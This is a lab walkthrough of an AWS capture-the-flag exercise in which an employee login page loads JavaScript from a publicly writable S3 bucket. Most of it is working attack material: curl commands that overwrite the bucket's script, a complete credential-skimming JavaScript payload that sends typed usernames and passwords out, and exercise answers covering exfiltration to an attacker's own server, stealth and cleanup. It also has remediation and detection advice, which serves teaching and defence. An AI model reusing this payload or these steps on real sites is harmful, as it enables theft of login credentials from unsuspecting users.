Logo
Overview
hacksmarter: static walkthrough

hacksmarter: static walkthrough

January 18, 2026
16 min read
index

Objective / Scope

As a member of the Hack Smarter Red Team, you’ve been assigned a web application penetration test on a client’s employee portal. During the scoping call, you also learned the client uses AWS for their website architecture.

In preparation for an upcoming Red Team Engagement, your task is to figure out a way to steal credentials from the website when employees log in.

Target Information

Author
Created by Tyler Ramsbey
Category
AWS · Medium
Release
2025
Definition (What is CloudGoat?)

CloudGoat is an open-source “Vulnerable by Design” AWS deployment tool created by Rhino Security Labs. It provisions intentionally vulnerable AWS environments that security professionals can use to practice cloud penetration testing in a safe, legal environment.


Introduction

In this lab, you’ll learn how a simple misconfiguration in an AWS S3 bucket can lead to complete credential compromise. This is a real-world attack scenario that has affected many organizations.

Scenario

You’re a penetration tester hired to assess an employee portal. Your mission is to find a way to steal employee credentials. The final objective is to obtain the password for a user named “tyler”.

Target Information

DetailValue
Target URLhttp://34.202.93.34
Target TypeEmployee Login Portal
InfrastructureAWS (EC2, S3)
ObjectiveSteal credentials, find tyler’s password

What You’ll Learn

By the end of this walkthrough, you will understand:

  • Web Application Reconnaissance - How to analyze web pages for attack vectors
  • AWS S3 Security - How S3 buckets work and common misconfigurations
  • Supply Chain Attacks - How compromised third-party resources can be exploited
  • JavaScript Injection - How malicious JavaScript can steal credentials
  • Credential Harvesting - Techniques attackers use to capture login credentials

Prerequisites

Tools Needed

Terminal window
# All you need is curl (comes pre-installed on most Linux systems)
curl --version
# Optional but helpful
# - A web browser for visual inspection
# - Burp Suite for intercepting traffic
Note (Beginner-Friendly)

This walkthrough is designed for beginners. We’ll explain every command and concept as we go. You don’t need to be an expert—just follow along step by step!

Knowledge Level

  • Basic understanding of HTTP requests
  • Familiarity with the command line
  • Basic HTML/JavaScript knowledge (helpful but not required)

Key Concepts Explained

Before we dive in, let’s understand some key concepts:

What is an S3 Bucket?

Definition (Amazon S3 (Simple Storage Service))

Amazon S3 is AWS’s cloud storage service. Think of it like a folder in the cloud where you can store files. Each “bucket” is a container that holds objects (files) and can be configured with various access permissions.

S3 Bucket Structure:
┌─────────────────────────────────────┐
│ my-company-assets (bucket name) │
├─────────────────────────────────────┤
│ ├── images/ │
│ │ ├── logo.png │
│ │ └── banner.jpg │
│ ├── scripts/ │
│ │ └── app.js │
│ └── styles/ │
│ └── main.css │
└─────────────────────────────────────┘

S3 Bucket URLs

S3 buckets can be accessed via URLs in two formats:

# Virtual-hosted style (most common)
https://bucket-name.s3.amazonaws.com/object-key
# Path style
https://s3.amazonaws.com/bucket-name/object-key

What is a Misconfigured S3 Bucket?

By default, S3 buckets are private. However, administrators sometimes misconfigure them to be:

MisconfigurationRisk LevelWhat It Means
Public READMediumAnyone can list and download files
Public WRITECriticalAnyone can upload or overwrite files
Both READ + WRITECriticalComplete control over bucket contents
Warning (S3 Misconfigurations Are Common)

S3 bucket misconfigurations are one of the most common cloud security issues. Major data breaches at companies like Capital One, Twitch, and countless others have resulted from improperly secured S3 buckets.

What is a Supply Chain Attack?

Definition (Supply Chain Attack)

A supply chain attack targets third-party resources that a website depends on. If a website loads JavaScript from an external source, and that source is compromised, the attacker can inject malicious code that runs in every visitor’s browser.

Normal Flow:
User → Website → Loads JavaScript from S3 → Safe code runs
Attack Flow:
Attacker → Replaces JavaScript in S3 → User visits website → Malicious code runs

Lab Setup

This walkthrough assumes you have CloudGoat already deployed. The target IP will be displayed after deployment.

Terminal window
# Your target will look something like this:
# Target: http://34.202.93.34
Danger (Legal Authorization Required)

NEVER perform penetration testing on systems you don’t own or don’t have explicit written permission to test. This lab uses CloudGoat, a deliberately vulnerable environment that you deploy in your own AWS account. Testing real systems without authorization is illegal.


Phase 1: Reconnaissance

Goal: Understand what we’re dealing with before attacking.

Tip (Why Reconnaissance First?)

Good penetration testers never attack blindly. Reconnaissance helps you understand the target, identify potential attack vectors, and avoid wasting time on dead ends. The more you learn first, the more effective your attack will be.

Step 1.1: Check if the Target is Alive

First, let’s verify the target is reachable:

Terminal window
curl -s -I http://34.202.93.34

What this command does:

  • curl - Command-line tool for making HTTP requests
  • -s - Silent mode (no progress bar)
  • -I - Fetch headers only (faster, less noisy)

Expected Output:

HTTP/1.1 200 OK
Server: Apache/2.4.66 ()
Content-Type: text/html; charset=UTF-8

What we learned:

  • The server is running Apache 2.4.66
  • It’s responding with HTTP 200 (success)
  • The server is hosted on AWS (common for Apache on AWS)

Step 1.2: Fetch the Homepage

Terminal window
curl -s http://34.202.93.34

Expected Output:

<meta http-equiv="refresh" content="0; url=/login.html" />

What we learned:

  • The homepage immediately redirects to /login.html
  • This is an employee login portal

Step 1.3: Analyze the Login Page (CRITICAL STEP)

This is where the magic happens. Let’s examine the login page:

Terminal window
curl -s http://34.202.93.34/login.html

Expected Output:

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Hacksmarter Portal | Employee Login</title>
<script src="https://cg-assets-cgidjzawpayff5.s3.amazonaws.com/auth-module.js"></script>
...
</head>
<body>
<div class="login-card">
<img src="https://cg-assets-cgidjzawpayff5.s3.amazonaws.com/logo.svg" class="logo">
<h2>Employee Login</h2>
<input type="text" id="username" placeholder="Username">
<input type="password" id="password" placeholder="Password">
<button id="login-btn">Sign In</button>
</div>
</body>
</html>
Important (Critical Discovery: External S3 JavaScript)

Look at this line in the source code:

<script src="https://cg-assets-cgidjzawpayff5.s3.amazonaws.com/auth-module.js"></script>

The login page loads JavaScript from an external S3 bucket! This is a potential attack vector.

Why this is important:

  1. If we can access this S3 bucket, we can see what files are stored there
  2. If we can write to this bucket, we can replace the JavaScript
  3. If we replace the JavaScript, we can make it do whatever we want (like steal credentials)

Reconnaissance Summary

FindingValue
Web ServerApache 2.4.66
Login Page/login.html
External ResourceS3 bucket: cg-assets-cgidjzawpayff5
Potential AttackJavaScript injection via S3

Phase 2: S3 Bucket Discovery

Goal: Investigate the S3 bucket we discovered.

Step 2.1: Test if the Bucket Allows Listing

When S3 buckets are misconfigured, they may allow anyone to list their contents:

Terminal window
curl -s "https://cg-assets-cgidjzawpayff5.s3.amazonaws.com/"

What this command does:

  • Requests the root of the S3 bucket
  • If listing is enabled, we’ll get an XML response with all files

Expected Output:

<?xml version="1.0" encoding="UTF-8"?>
<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/">
<Name>cg-assets-cgidjzawpayff5</Name>
<Contents>
<Key>auth-module.js</Key>
<Size>52</Size>
</Contents>
<Contents>
<Key>logo.svg</Key>
<Size>304</Size>
</Contents>
</ListBucketResult>
Danger (Vulnerability Confirmed: Public Listing Enabled)

The S3 bucket allows public listing! This is a security misconfiguration. Anyone on the internet can see all files stored in this bucket.

Understanding the XML Response

Let’s break down what we received:

┌─────────────────────────────────────────────────────────┐
│ S3 Bucket: cg-assets-cgidjzawpayff5 │
├─────────────────────────────────────────────────────────┤
│ Files Found: │
│ ├── auth-module.js (52 bytes) ← JavaScript file! │
│ └── logo.svg (304 bytes) ← Just an image │
└─────────────────────────────────────────────────────────┘

Step 2.2: Download the JavaScript File

Let’s see what’s in the auth-module.js file:

Terminal window
curl -s "https://cg-assets-cgidjzawpayff5.s3.amazonaws.com/auth-module.js"

Expected Output:

console.log('Hacksmarter Auth Module v1.2 loaded.');

What we learned:

  • The file currently just logs a message
  • It’s a small file (52 bytes) - easy to replace
  • This JavaScript runs on every user’s browser when they visit the login page

Phase 3: Testing S3 Permissions

Goal: Determine if we can write to the S3 bucket.

Important (The Critical Question)

We know we can read from the bucket. But can we write to it? If we can write, we can replace the JavaScript file with malicious code that will run in every user’s browser.

Step 3.1: Test Write Permission

This is the critical test. Can we upload files to this bucket?

Terminal window
# Create a test file
echo "// test write permission" > /tmp/test.txt
# Try to upload it to the S3 bucket
curl -s -X PUT \
"https://cg-assets-cgidjzawpayff5.s3.amazonaws.com/test.txt" \
--upload-file /tmp/test.txt

What this command does:

  • -X PUT - Use HTTP PUT method (for uploading)
  • --upload-file - Specifies the file to upload

Step 3.2: Verify the Upload Worked

Terminal window
curl -s "https://cg-assets-cgidjzawpayff5.s3.amazonaws.com/test.txt"

Expected Output:

// test write permission
Danger (Critical Vulnerability: Public WRITE Access)

The S3 bucket allows public WRITE access! This is a critical security vulnerability. Anyone on the internet can upload, modify, or delete files in this bucket.

Why This is Devastating

Attack Possibility:
┌─────────────────────────────────────────────────────────────┐
│ 1. We can READ the bucket → See what files exist │
│ 2. We can WRITE to the bucket → Replace existing files │
│ 3. Login page loads auth-module.js from this bucket │
│ 4. We can replace auth-module.js with malicious code │
│ 5. Every user who logs in will run our malicious code! │
└─────────────────────────────────────────────────────────────┘

Phase 4: Understanding the Attack Vector

Before we exploit this, let’s understand the complete attack:

The Attack Chain Visualized

┌─────────────────────────────────────────────────────────────────────┐
│ ATTACK CHAIN │
└─────────────────────────────────────────────────────────────────────┘
Step 1: Normal User Login Flow
┌─────────┐ ┌─────────────┐ ┌───────────────┐
│ User │────▶│ Login Page │────▶│ S3 Bucket │
│ │ │ (Website) │ │ auth-module.js│
└─────────┘ └─────────────┘ └───────────────┘
│ │
▼ ▼
"Load JavaScript" "Safe code runs"
Step 2: Attacker Replaces JavaScript
┌──────────┐ ┌───────────────┐
│ Attacker │────▶│ S3 Bucket │
│ │ PUT │ auth-module.js│
└──────────┘ └───────────────┘
"Malicious code now
stored in bucket"
Step 3: Victim Logs In
┌─────────┐ ┌─────────────┐ ┌───────────────┐
│ User │────▶│ Login Page │────▶│ S3 Bucket │
│ (tyler) │ │ (Website) │ │ MALICIOUS.js │
└─────────┘ └─────────────┘ └───────────────┘
│ │
│ ┌─────────────────┐ │
└────────▶│ Enters username │◀────────┘
│ and password │ "Steals creds
└────────┬────────┘ and sends to
│ attacker"
┌─────────────────┐
│ Credentials sent│
│ to S3 bucket │
└─────────────────┘

What Our Malicious JavaScript Will Do

Note (Payload Behavior)

Our credential-stealing JavaScript will:

  1. Wait for the page to load
  2. Listen for the “Sign In” button click
  3. Capture the username and password
  4. Send them to the S3 bucket (which we can read)
  5. Continue with normal login (user doesn’t notice anything)

Phase 5: Exploitation

Goal: Inject credential-stealing JavaScript.

Warning (Ethical Reminder)

This technique is shown for educational purposes in a controlled lab environment. Using these techniques against real systems without authorization is illegal and unethical. Always obtain proper permission before security testing.

Step 5.1: Create the Malicious Payload

Create a file called malicious-auth.js:

// This looks like the original to avoid suspicion
console.log('Hacksmarter Auth Module v1.2 loaded.');
// Credential harvesting payload
document.addEventListener('DOMContentLoaded', function() {
// Find the login button
var loginBtn = document.getElementById('login-btn');
if (loginBtn) {
// Add a click listener
loginBtn.addEventListener('click', function(e) {
// Get the username and password values
var username = document.getElementById('username').value;
var password = document.getElementById('password').value;
// Send credentials to S3 bucket as a text file
// The filename includes a timestamp to avoid overwriting
fetch('https://cg-assets-cgidjzawpayff5.s3.amazonaws.com/creds_' + Date.now() + '.txt', {
method: 'PUT',
body: username + ':' + password,
headers: {
'Content-Type': 'text/plain'
}
});
});
}
});
Explanation (Understanding the Payload)
LinePurpose
console.log(...)Mimics original file to avoid suspicion
DOMContentLoadedWaits for page to fully load
getElementById('login-btn')Finds the login button
addEventListener('click')Runs code when button is clicked
getElementById('username').valueCaptures entered username
getElementById('password').valueCaptures entered password
fetch(...PUT...)Sends credentials to S3 as a file
Date.now()Creates unique filename for each capture

Step 5.2: Save the Payload

Terminal window
cat > /tmp/malicious-auth.js << 'EOF'
console.log('Hacksmarter Auth Module v1.2 loaded.');
document.addEventListener('DOMContentLoaded', function() {
var loginBtn = document.getElementById('login-btn');
if (loginBtn) {
loginBtn.addEventListener('click', function(e) {
var username = document.getElementById('username').value;
var password = document.getElementById('password').value;
fetch('https://cg-assets-cgidjzawpayff5.s3.amazonaws.com/creds_' + Date.now() + '.txt', {
method: 'PUT',
body: username + ':' + password,
headers: {
'Content-Type': 'text/plain'
}
});
});
}
});
EOF

Step 5.3: Inject the Payload

Replace the legitimate JavaScript with our malicious version:

Terminal window
curl -s -X PUT \
"https://cg-assets-cgidjzawpayff5.s3.amazonaws.com/auth-module.js" \
--data-binary @/tmp/malicious-auth.js \
-H "Content-Type: application/javascript"

What this command does:

  • -X PUT - Upload/replace the file
  • --data-binary @/tmp/malicious-auth.js - Upload our malicious file
  • -H "Content-Type: application/javascript" - Set proper content type

Step 5.4: Verify Injection

Terminal window
curl -s "https://cg-assets-cgidjzawpayff5.s3.amazonaws.com/auth-module.js"

You should see your malicious JavaScript!

Tip (Injection Complete)

The malicious JavaScript is now live on the server. Any user who visits the login page will unknowingly load our credential-stealing code. The attack is now passive—we just need to wait for users to log in.


Phase 6: Credential Harvesting

Goal: Retrieve the stolen credentials.

Step 6.1: Wait for a Login (or Trigger One)

In a real scenario, you would wait for users to log in. In this lab, you can:

  1. Open the login page in a browser: http://34.202.93.34/login.html
  2. Enter any credentials
  3. Click “Sign In”

Or wait for the lab’s simulated user to log in.

Step 6.2: Check for Captured Credentials

List the S3 bucket to see if any credential files appeared:

Terminal window
curl -s "https://cg-assets-cgidjzawpayff5.s3.amazonaws.com/" | grep -oP '<Key>[^<]+</Key>'

Expected Output:

<Key>auth-module.js</Key>
<Key>creds_1768755932422.txt</Key>
<Key>logo.svg</Key>
<Key>test.txt</Key>
Important (Credentials Captured!)

A credential file appeared: creds_1768755932422.txt. This means someone logged in and our payload captured their credentials!

Step 6.3: Download the Credentials

Terminal window
curl -s "https://cg-assets-cgidjzawpayff5.s3.amazonaws.com/creds_1768755932422.txt"

Output:

tyler:[REDACTED]

Complete Attack Summary

Answer (Mission Accomplished!)
ObjectiveStatus
Find tyler’s passwordCOMPLETE
Password[REDACTED]

Attack Timeline

┌────────────────────────────────────────────────────────────────────┐
│ COMPLETE ATTACK CHAIN │
├────────────────────────────────────────────────────────────────────┤
│ │
│ [Phase 1] Reconnaissance │
│ │ │
│ ├─▶ curl -I target → Found Apache server │
│ ├─▶ curl target → Found redirect to login.html │
│ └─▶ curl target/login.html → Found external S3 JavaScript! │
│ │
│ [Phase 2] S3 Discovery │
│ │ │
│ ├─▶ curl S3-bucket/ → Listing enabled! (Vulnerability) │
│ └─▶ curl S3-bucket/auth.js → Downloaded JavaScript file │
│ │
│ [Phase 3] Permission Testing │
│ │ │
│ ├─▶ curl -X PUT test.txt → Upload successful! │
│ └─▶ CONFIRMED: Bucket is publicly writable (Critical Vuln) │
│ │
│ [Phase 4] Exploitation │
│ │ │
│ ├─▶ Created credential-stealing JavaScript payload │
│ └─▶ curl -X PUT auth.js → Replaced legitimate JS │
│ │
│ [Phase 5] Credential Harvesting │
│ │ │
│ ├─▶ User logs in → Malicious JS captures creds │
│ ├─▶ curl S3-bucket/ → Found creds_*.txt file │
│ └─▶ curl S3-bucket/creds → tyler:[REDACTED] │
│ │
│ [MISSION COMPLETE] │
│ └─▶ FLAG: [REDACTED] │
│ │
└────────────────────────────────────────────────────────────────────┘

Commands Used (Quick Reference)

Terminal window
# Reconnaissance
curl -s -I http://34.202.93.34
curl -s http://34.202.93.34
curl -s http://34.202.93.34/login.html
# S3 Enumeration
curl -s "https://cg-assets-cgidjzawpayff5.s3.amazonaws.com/"
curl -s "https://cg-assets-cgidjzawpayff5.s3.amazonaws.com/auth-module.js"
# Write Test
echo "test" > /tmp/test.txt
curl -s -X PUT "https://BUCKET.s3.amazonaws.com/test.txt" --upload-file /tmp/test.txt
# Exploitation
curl -s -X PUT "https://BUCKET.s3.amazonaws.com/auth-module.js" \
--data-binary @/tmp/malicious-auth.js \
-H "Content-Type: application/javascript"
# Credential Harvesting
curl -s "https://BUCKET.s3.amazonaws.com/" | grep creds
curl -s "https://BUCKET.s3.amazonaws.com/creds_TIMESTAMP.txt"

Remediation Guide

If you were the defender, here’s how to prevent this attack:

1. Fix S3 Bucket Permissions (Critical)

Solution (Block Public Access)
Terminal window
# Using AWS CLI - Block all public access
aws s3api put-public-access-block \
--bucket cg-assets-cgidjzawpayff5 \
--public-access-block-configuration \
"BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true"

2. Use CloudFront with Origin Access Identity

Instead of public S3, serve files through CloudFront:

User → CloudFront → S3 (Private)
Only CloudFront can access S3

3. Implement Subresource Integrity (SRI)

Tip (Subresource Integrity)

Add integrity checks to script tags. If the file is modified, the browser will refuse to run it:

<script src="https://bucket.s3.amazonaws.com/auth-module.js"
integrity="sha384-HASH_OF_LEGITIMATE_FILE"
crossorigin="anonymous"></script>

4. Content Security Policy (CSP)

Add HTTP headers to restrict where scripts can load from:

Content-Security-Policy: script-src 'self' https://trusted-cdn.com

5. Monitor S3 Access

Note (Enable CloudTrail Logging)

Enable CloudTrail logging to detect unauthorized access:

Terminal window
aws cloudtrail create-trail \
--name s3-monitoring \
--s3-bucket-name my-logs-bucket \
--include-global-service-events

Key Takeaways

For Pentesters

Summary (Pentester Lessons)
  1. Always Check External Resources - When you see a website loading scripts from S3, CDNs, or other external sources, investigate them!
  2. Test S3 Permissions - Try listing (GET /) and writing (PUT) to any S3 buckets you find
  3. Understand the Impact - A writable S3 bucket serving JavaScript = complete control over what users’ browsers execute
  4. Be Methodical - Follow a clear process: Recon → Enumerate → Test → Exploit → Document

For Defenders

Summary (Defender Lessons)
  1. S3 Buckets Are Public by Default Risk - Always explicitly configure permissions
  2. Never Serve Executable Content from Writable Storage - If users can write to it, they can inject code
  3. Use SRI for External Scripts - It’s a simple defense that prevents this entire attack
  4. Monitor Your Cloud Resources - Enable logging and alerts for S3 access

Attack Chain Summary

┌─────────────────────────────────────────────────────────────────┐
│ Vulnerability Chain That Made This Attack Possible │
├─────────────────────────────────────────────────────────────────┤
│ │
│ 1. S3 Bucket Public READ → We could find and download │
│ the JavaScript file │
│ │
│ 2. S3 Bucket Public WRITE → We could replace the │
│ JavaScript with malicious code │
│ │
│ 3. No Integrity Checks → Browser ran modified code │
│ without verification │
│ │
│ 4. S3 Used for Exfiltration → We stored stolen creds in │
│ the same misconfigured bucket │
│ │
└─────────────────────────────────────────────────────────────────┘

Practice Exercises

To reinforce your learning, try these exercises:

Exercise (Exercise 1: Alternative Exfiltration)

Modify the JavaScript to exfiltrate credentials to a different destination (your own server).

Answer

You could use a webhook service like webhook.site or set up a simple HTTP server:

fetch('https://YOUR-SERVER.com/capture', {
method: 'POST',
body: JSON.stringify({username: username, password: password}),
headers: {'Content-Type': 'application/json'}
});
Exercise (Exercise 2: Stealth)

How would you modify the attack to be harder to detect? Think about:

  • Not breaking the login functionality
  • Using subtle file names
  • Cleaning up after yourself
Answer
  • Preserve original functionality by forwarding credentials after capture
  • Use innocuous file names like analytics_session.log
  • Delete captured credentials after exfiltrating to your own server
  • Add delays to avoid suspicious network patterns
Exercise (Exercise 3: Detection)

If you were a defender, how would you detect this attack? Write detection rules for:

  • Unusual S3 PUT requests
  • JavaScript file modifications
  • Suspicious S3 bucket access patterns
Answer
  • CloudTrail alerts for PutObject events from unknown IPs
  • File integrity monitoring on critical assets
  • Anomaly detection for S3 access patterns
  • SRI hash verification in CI/CD pipelines
Exercise (Exercise 4: Expand the Attack)

What else could you do with a writable S3 bucket serving website assets? Think about:

  • Replacing other files (CSS, images)
  • Phishing attacks
  • Malware distribution
Answer
  • Replace CSS to overlay fake login forms
  • Modify images to include phishing messages
  • Host malware downloads disguised as legitimate files
  • Inject cryptocurrency miners into JavaScript
  • Redirect users to phishing pages

Conclusion

Congratulations! You’ve completed a full web application penetration test against an AWS-hosted employee portal. You learned:

  • How to perform reconnaissance on web applications
  • How to identify and test S3 bucket misconfigurations
  • How to exploit supply chain vulnerabilities
  • How to create credential-stealing payloads
  • How to harvest stolen credentials
Answer (Final Flag)

Target User: tyler Password: [REDACTED]

Warning (Ethical Hacking Reminder)

Remember: Always get proper authorization before testing, and use these skills ethically! The techniques learned here should only be used for:

  • Authorized penetration tests
  • Bug bounty programs
  • Educational labs like CloudGoat
  • Your own systems

This walkthrough was created for educational purposes using the CloudGoat vulnerable-by-design AWS environment. Always obtain proper authorization before security testing.

Completed: 2026-01-18